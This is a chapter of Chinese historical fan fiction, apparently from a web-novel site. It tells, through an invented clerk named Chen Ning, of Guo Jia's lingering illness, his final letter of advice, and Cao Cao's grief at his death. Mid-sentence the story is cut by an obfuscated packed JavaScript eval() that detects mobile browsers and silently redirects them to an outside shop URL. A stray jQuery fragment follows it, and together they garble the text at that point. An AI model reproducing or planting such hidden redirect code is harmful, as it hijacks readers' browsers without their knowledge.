建安六年秋至建安十二年春·天不假年
建安六年的秋天，官渡的硝烟刚刚散尽。曹操率军追击袁绍残部，一路北上至黄河岸边。那时陈宁以为，一切都会顺遂下去，像大河终于拐过了最险的那道弯，前方当是坦途。直到郭嘉在行军途中病倒。
那病来得并不突然。郭嘉的身体底子，在座的谋士们其实都心知肚明。他常年饮酒，作息颠倒，行军途中风餐露宿更是常态。官渡前后数月，他几乎没有一日是在子时前入睡的——有时写军报，有时画舆图，有时只是捧着一壶酒坐在帐中发呆，谁也不知道他在想什么。陈宁有几次半夜去给他送加急文书，见他帐中灯还亮着，掀帘进去，郭嘉便抬头对他一笑，说“你来得正好，陪我聊两句”。聊的内容天南地北，从兵法到诗赋，从袁绍的用人失误到许都哪家酒肆的酿法最地道，没有章法，散漫自如。可陈宁后来才意识到，那些深夜的闲谈里，郭嘉其实在把自己半生积攒的东西一点点往外掏，像一个人提前清点行囊，为某趟不知何时出发的远行做着准备。
那阵子郭嘉开始咳嗽。起初不重，只在晨起时清两声嗓子，过了便好。后来咳得频繁了些，入夜尤甚，有时伏案写军报，写着写着便停笔捂嘴，肩背微微弓起，好一阵才能缓过来。陈宁劝过他几次少喝些酒，郭嘉每次都是笑着点头，说“知道了知道了”，转头照旧。有一回陈宁实在忍不住，趁郭嘉去中军帐议事的间隙，将他帐中藏的三壶酒都倒进了营后的水沟里。郭嘉回来后发现壶空了，愣了愣，没有发火，只是叹了口气，说：“你还真是文若教出来的学生，一样的不近人情。”语气里有三分无奈，七分宠溺。那是陈宁记忆中郭嘉唯一一次没有笑着跟他说话。
九月里，郭嘉的病势加重了。陈宁至今记得那一天——曹操驻扎在黎阳城外，正准备趁袁绍败退的间隙向北推进。郭嘉清晨出帐时脚步还算稳，午间议事后便面色泛白，到了傍晚忽然高烧不退，浑身滚烫如炙。随军的医官诊了脉，面色凝重地退出来，对曹操低声说了几句话。陈宁站在帐外，看见曹操握刀的手忽然攥紧了，指节泛白，但没有说什么，只是吩咐将郭嘉送回后方柳城静养，又专门拨了四个亲兵轮值守夜。
陈宁跟着护送队伍走了一程。郭嘉躺在牛车里，身上盖着三层厚被，脸色蜡黄，嘴唇因高烧而干裂起皮。他看到陈宁骑马跟在车旁，半睁开眼，声音沙哑得几乎听不清：“安然，你上马……跟着我做什么，前线不用你么？”
“郭公，”陈宁的声音很平，但嗓子眼里堵着什么，“军师祭酒的事，主公另有人手。我请了假，送您到柳城。”
郭嘉看着他，那双被高烧蒸得发红的眼睛里忽然浮起一层淡薄的笑意。他勉力抬了抬手，指了指自己身旁的被角，声音飘得像秋末的蝉鸣：“那你上来坐……路上无聊，陪我说说话。”
陈宁没有推辞，翻身下车，挤进了牛车。车行在官道上晃晃悠悠，郭嘉闭着眼断断续续地说着话，讲他年轻时在颍川的旧事，讲他第一次见曹操时的情景，讲那些年他算过的每一场仗、猜过的每一个人心。他的声音轻得像沙漏里的细沙，一点一点地淌着。陈宁坐在旁边，安静地听，偶尔应一声，更多的时候只是看着车窗外掠过的枯树和田野。秋深了，道旁的草已经全黄了，风吹过去，扑簌簌地落着种子。
快到柳城时，郭嘉忽然安静了很久。陈宁以为他睡着了，偏头一看，郭嘉睁着眼望着车棚顶，然后慢慢转过来看着他，说：“安然，我记得你入尚书台那天，跟文若说要好好做事，做一个对得起天下的人。你还记得么？”
“记得。”
“那就好。”郭嘉微微阖了眼，“别忘。”
柳城的医馆是一间临街的瓦房，前后两进院子，后面住人，前面诊病。陈宁把郭嘉安顿好之后又留了三日，直到他的烧退了些、能坐起来喝粥了，才起身告辞。临走时，郭嘉靠在床头，瘦得颧骨都突了出来，但精神比前几日好了一些，还笑着跟他开玩笑：“回去跟主公说，让他别急着打邺城，等我病好了再打——打邺城那么大的场面，少了我出主意，他赢是能赢，就是赢得不够痛快。”
陈宁站在床边，忽然郑重其事地朝他行了一个大礼。郭嘉愣了愣，随即别过头去，挥了挥手：“走吧走吧，别在这儿演苦情戏。”
陈宁翻身上马，策马出柳城东门时，回头望了一眼那座瓦房的屋顶。炊烟正从烟囱里升起来，细细的，被风吹散了。他想，这样也好，养一养总会好的。
可事与愿违。
郭嘉的病反反复复拖了将近六年。其间曹操北征、南征，横扫河北，平定荆州，帐下谋士更替，新人辈出，但军师祭酒的位置始终空悬着——曹操没有明说，可所有人都知道，那个位子是给郭嘉留的。郭嘉有时病轻一些，便撑着回许都议事，坐在轮椅上被推入司空府的大厅；有时病重了，便一连数月不见人影，只有书信往来。那些书信陈宁后来见过，每一封都是郭嘉的笔迹，字迹潇洒不羁，全然看不出写信的人正缠绵病榻。每一封信的最后都有一句相同的话：“主公珍重，嘉愈后即归。”
但那些信越来越短，字迹越来越细，最后的落款从“嘉顿首”渐渐变成了“嘉”，再变成仅有一个墨点似的“嘉”字简写，像是连多写一笔的力气都没有了。
建安十二年春，曹操决定北征乌桓。三月下旬，大军集结于蓟城，准备出塞追击袁尚、袁熙。出发前一日，陈宁在营中核对辎重名册，忽然接到一封从柳城送来的急信。信封上写着“陈安然亲启”，笔迹潦草却熟悉。他拆开时手指微颤，取出里面一张薄帛，只有七行字：
“闻主公将北征乌桓。此役险峻，军粮难继，沿途无城可依，若遇大雾则进退维谷。当以轻骑急趋，出其不意，不可与乌桓步卒缠斗。另——柳城春雪未消，风大，甚冷。安然，保重。”
没有落款。但陈宁一眼便认出那是郭嘉的字，只是那笔力比从前弱了许多，每一横的末端都微微抖着，像握笔的人腕上挂了千斤重物。
他握着那张帛站在帐中，站了很久。外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741913|209112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面的军营里正在拔营起寨，人马喧腾，旗帜在春风里猎猎翻飞。他把帛书仔细叠好，贴胸收进衣襟里，然后走出帐去，找到曹操，将帛书呈上。
曹操接过去看了，看完后沉默良久，然后将帛书轻轻折起，收入袖中。他没有说什么，只是对着北面柳城的方向望了片刻，然后转身跨上战马，下令出发。
大军出塞后三日，柳城的信使追上了行军队伍。陈宁正在马背上赶路，听见身后急骤的马蹄声由远及近，回头看时，那信使已经翻身下马，手中捧着一封密封的帛书，面色惨白。他径直穿过队列，奔向曹操的旗帜，然后在马下跪倒，双手将帛书高高举过头顶。周围的声音忽然安静下来，所有人都看着那个信使，看着他膝上的泥土和他颤抖的肩膀。
陈宁拨马走近了几步。他看见曹操拆开帛书的手在空中停了一瞬，然后慢慢展开，目光自上而下扫过那几行字。看完后，曹操没有动，没有出声，就那样低着头，骑在马上，春风把他的衣袍吹得鼓起来又落下去。
旁边的亲卫低声问：“主公？”
曹操抬起头来，陈宁看见他眼眶微微泛红，但面色如常，只是声音哑了一度：“奉孝……走了。”
军中那一刻静得出奇，只有风卷旗帜的声响和远处马匹低低的鼻息。然后曹操忽然转过身来，面向北方的群山，大声说了一句：“天丧我，天丧我！”
那声音在春风里散开了，被山风吹往塞外。陈宁坐在马上，手攥着缰绳攥得生疼，胸口贴着的那张帛书像烙铁一样烫着他的心口。他没有哭。他只是闭了闭眼，想起六年前那个秋夜，郭嘉坐在柳城医馆的床头，笑着对他说：“回去跟主公说，让他别急着打邺城，等我病好了再打。”
他没有等到那一天。
此后数日，陈宁再没有见过曹操落泪。曹操照常指挥行军、部署作战，甚至比以往更加雷厉风行。但陈宁注意到，每当入夜之后，中军帐的灯总要亮到很晚，而曹操批阅军报的笔势比从前沉了几分，落纸处有时会洇开一小团墨迹，像是笔尖在同一个地方停留得太久了。
五月，曹军北征乌桓大捷，斩蹋顿，降胡汉二十余万。袁尚、袁熙逃往辽东，被公孙康所杀。捷报传回许都时，朝野振奋，人人称贺。但陈宁记得，曹操在庆功宴上只喝了一碗酒便起身离席，走回自己的书斋，关上了门。次日清晨，陈宁去送文书时，看见书斋案上摊着一幅素帛，上面是曹操手书的两行字：
“哀哉奉孝！痛哉奉孝！”
旁边搁着一只空酒壶，壶口的泥土尚未干透，像是刚从什么地方挖出来的——后来陈宁才知道，那是曹操派人去柳城，从郭嘉养病的旧居后院那棵槐树下，把他生前埋在那里的半坛酒掘了出来，带回许都的。
陈宁站在书斋门外，将文书轻轻放在阶前，转身离去。春末的日光照在院中的青石板上，暖融融的，可他觉得心里有一块地方，冷得像北方的雪原。
他知道，从今以后，他再没有人在深夜的营帐里笑着递一壶酒过来了。